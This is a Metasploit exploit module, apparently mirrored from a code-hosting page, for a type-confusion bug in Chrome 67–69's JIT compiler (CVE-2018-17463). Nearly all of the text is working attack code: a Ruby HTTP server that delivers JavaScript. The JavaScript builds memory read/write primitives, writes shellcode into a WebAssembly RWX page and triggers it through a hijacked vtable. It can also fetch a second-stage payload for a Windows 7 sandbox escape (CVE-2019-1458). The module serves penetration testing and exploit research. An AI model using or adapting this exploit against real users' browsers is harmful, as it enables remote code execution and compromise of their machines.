Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/chrome_object_create.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Post::File9include Msf::Exploit::Remote::HttpServer::BrowserExploit10include Msf::Payload::Windows::AddrLoader_x6411include Msf::Payload::Windows::ReflectiveDllInject_x641213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',18'Description' => %q{19This modules exploits a type confusion in Google Chromes JIT compiler.20The Object.create operation can be used to cause a type confusion between a21PropertyArray and a NameDictionary.22The payload is executed within the rwx region of the sandboxed renderer23process.24This module can target the renderer process (target 0), but Google25Chrome must be launched with the --no-sandbox flag for the payload to26execute successfully.27Alternatively, this module can use CVE-2019-1458 to escape the renderer28sandbox (target 1). This will only work on vulnerable versions of29Windows (e.g Windows 7) and the exploit can only be triggered once.30Additionally the exploit can cause the target machine to restart31when the session is terminated. A BSOD is also likely to occur when32the system is shut down or rebooted.33},34'License' => MSF_LICENSE,35'Author' => [36'saelo', # discovery and exploit37'timwr', # metasploit module38],39'References' => [40['CVE', '2018-17463'],41['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],42['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],43['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],44['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],45],46'Arch' => [ ARCH_X64 ],47'Platform' => ['windows', 'osx', 'linux'],48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => [ REPEATABLE_SESSION ],51'SideEffects' => [ IOC_IN_LOGS ],52'Stability' => [CRASH_SAFE]53},54'Targets' => [55[56'No sandbox escape (--no-sandbox)', {}57],58[59'Windows 7 (x64) sandbox escape via CVE-2019-1458',60{61'Platform' => 'win',62'Arch' => [ARCH_X64],63'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }64}65],66],67'DisclosureDate' => '2018-09-25'68)69)70deregister_options('DLL')71end7273def library_path74File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll')75end7677def on_request_uri(cli, request)78print_status("Sending #{request.uri} to #{request['User-Agent']}")79download_payload = ''80shellcode = payload.encoded81uripath = datastore['URIPATH'] || get_resource82uripath += '/' unless uripath.end_with? '/'8384if target.name.end_with?('CVE-2019-1458')85if request.uri.to_s.end_with?('/payload')86loader_data = stage_payload87pidx = loader_data.index('PAYLOAD:')88if pidx89loader_data[pidx, payload.encoded.length] = payload.encoded90end91loader_data += "\0" * (0x20000 - loader_data.length)92send_response(cli, loader_data, {93'Content-Type' => 'application/octet-stream',94'Cache-Control' => 'no-cache, no-store, must-revalidate',95'Pragma' => 'no-cache', 'Expires' => '0'96})97print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")98end99loader = generate_loader100shellcode = loader[0]101shellcode_addr_offset = loader[1]102shellcode_size_offset = loader[2]103download_payload = <<-JS104var req = new XMLHttpRequest();105req.open('GET', '#{uripath}payload', false);106req.overrideMimeType('text/plain; charset=x-user-defined');107req.send(null);108if (req.status != 200) {109return;110}111let payload_size = req.responseText.length;112let payload_array = new ArrayBuffer(payload_size);113let payload8 = new Uint8Array(payload_array);114for (let i = 0; i < req.responseText.length; i++) {115payload8[i] = req.responseText.charCodeAt(i) & 0xff;116}117let payload_array_mem_addr = memory.addrof(payload_array) + 0x20n;118let payload_array_addr = memory.readPtr(payload_array_mem_addr);119print('payload addr: 0x' + payload_array_addr.toString(16));120uint64View[0] = payload_array_addr;121for (let i = 0; i < 8; i++) {122shellcode[#{shellcode_addr_offset} + i] = uint8View[i];123}124for (let i = 0; i < 4; i++) {125shellcode[#{shellcode_size_offset} + i] = (payload_size>>(8*i)) & 0xff;126}127for (let i = 4; i < 8; i++) {128shellcode[#{shellcode_size_offset} + i] = 0;129}130JS131end132133jscript = <<~JS134let ab = new ArrayBuffer(8);135let floatView = new Float64Array(ab);136let uint64View = new BigUint64Array(ab);137let uint8View = new Uint8Array(ab);138139let shellcode = new Uint8Array([#{Rex::Text.to_num(shellcode)}]);140141Number.prototype.toBigInt = function toBigInt() {142floatView[0] = this;143return uint64View[0];144};145146BigInt.prototype.toNumber = function toNumber() {147uint64View[0] = this;148return floatView[0];149};150151function hex(n) {152return '0x' + n.toString(16);153};154155function fail(s) {156print('FAIL ' + s);157throw null;158}159160const NUM_PROPERTIES = 32;161const MAX_ITERATIONS = 100000;162163function gc() {164for (let i = 0; i < 200; i++) {165new ArrayBuffer(0x100000);166}167}168169function make(properties) {170let o = {inline: 42} // TODO171for (let i = 0; i < NUM_PROPERTIES; i++) {172eval(`o.p${i} = properties[${i}];`);173}174return o;175}176177function pwn() {178function find_overlapping_properties() {179let propertyNames = [];180for (let i = 0; i < NUM_PROPERTIES; i++) {181propertyNames[i] = `p${i}`;182}183eval(`184function vuln(o) {185let a = o.inline;186this.Object.create(o);187${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}188return [${propertyNames.join(', ')}];189}190`);191192let propertyValues = [];193for (let i = 1; i < NUM_PROPERTIES; i++) {194propertyValues[i] = -i;195}196197for (let i = 0; i < MAX_ITERATIONS; i++) {198let r = vuln(make(propertyValues));199if (r[1] !== -1) {200for (let i = 1; i < r.length; i++) {201if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {202return [i, -r[i]];203}204}205}206}207208fail("Failed to find overlapping properties");209}210211function addrof(obj) {212eval(`213function vuln(o) {214let a = o.inline;215this.Object.create(o);216return o.p${p1}.x1;217}218`);219220let propertyValues = [];221propertyValues[p1] = {x1: 13.37, x2: 13.38};222propertyValues[p2] = {y1: obj};223224let i = 0;225for (; i < MAX_ITERATIONS; i++) {226let res = vuln(make(propertyValues));227if (res !== 13.37)228return res.toBigInt()229}230231fail("Addrof failed");232}233234function corrupt_arraybuffer(victim, newValue) {235eval(`236function vuln(o) {237let a = o.inline;238this.Object.create(o);239let orig = o.p${p1}.x2;240o.p${p1}.x2 = ${newValue.toNumber()};241return orig;242}243`);244245let propertyValues = [];246let o = {x1: 13.37, x2: 13.38};247propertyValues[p1] = o;248propertyValues[p2] = victim;249250for (let i = 0; i < MAX_ITERATIONS; i++) {251o.x2 = 13.38;252let r = vuln(make(propertyValues));253if (r !== 13.38)254return r.toBigInt();255}256257fail("Corrupt ArrayBuffer failed");258}259260let [p1, p2] = find_overlapping_properties();261print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);262263let memview_buf = new ArrayBuffer(1024);264let driver_buf = new ArrayBuffer(1024);265266gc();267268let memview_buf_addr = addrof(memview_buf);269memview_buf_addr--;270print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);271272let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);273274let driver = new BigUint64Array(driver_buf);275let original_memview_buf_ptr = driver[4];276277let memory = {278write(addr, bytes) {279driver[4] = addr;280let memview = new Uint8Array(memview_buf);281memview.set(bytes);282},283read(addr, len) {284driver[4] = addr;285let memview = new Uint8Array(memview_buf);286return memview.subarray(0, len);287},288readPtr(addr) {289driver[4] = addr;290let memview = new BigUint64Array(memview_buf);291return memview[0];292},293writePtr(addr, ptr) {294driver[4] = addr;295let memview = new BigUint64Array(memview_buf);296memview[0] = ptr;297},298addrof(obj) {299memview_buf.leakMe = obj;300let props = this.readPtr(memview_buf_addr + 8n);301return this.readPtr(props + 15n) - 1n;302},303};304305// Generate a RWX region for the payload306function get_wasm_instance() {307var buffer = new Uint8Array([3080,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,3091,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,310128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,311101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11312]);313return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});314}315#{download_payload}316let wasm_instance = get_wasm_instance();317let wasm_addr = memory.addrof(wasm_instance);318print("wasm_addr @ " + hex(wasm_addr));319let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);320print("wasm_rwx @ " + hex(wasm_rwx_addr));321322memory.write(wasm_rwx_addr, shellcode);323324let fake_vtab = new ArrayBuffer(0x80);325let fake_vtab_u64 = new BigUint64Array(fake_vtab);326let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);327328let div = document.createElement('div');329let div_addr = memory.addrof(div);330print('div_addr @ ' + hex(div_addr));331let el_addr = memory.readPtr(div_addr + 0x20n);332print('el_addr @ ' + hex(el_addr));333334fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);335memory.writePtr(el_addr, fake_vtab_addr);336337print('Triggering...');338339// Trigger virtual call340div.dispatchEvent(new Event('click'));341342// We are done here, repair the corrupted array buffers343let addr = memory.addrof(driver_buf);344memory.writePtr(addr + 32n, original_driver_buf_ptr);345memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);346}347348pwn();349JS350351jscript = add_debug_print_js(jscript)352html = %(353<html>354<head>355<script>356#{jscript}357</script>358</head>359<body>360</body>361</html>362)363send_response(cli, html, {364'Content-Type' => 'text/html',365'Cache-Control' => 'no-cache, no-store, must-revalidate',366'Pragma' => 'no-cache', 'Expires' => '0'367})368end369370end371372373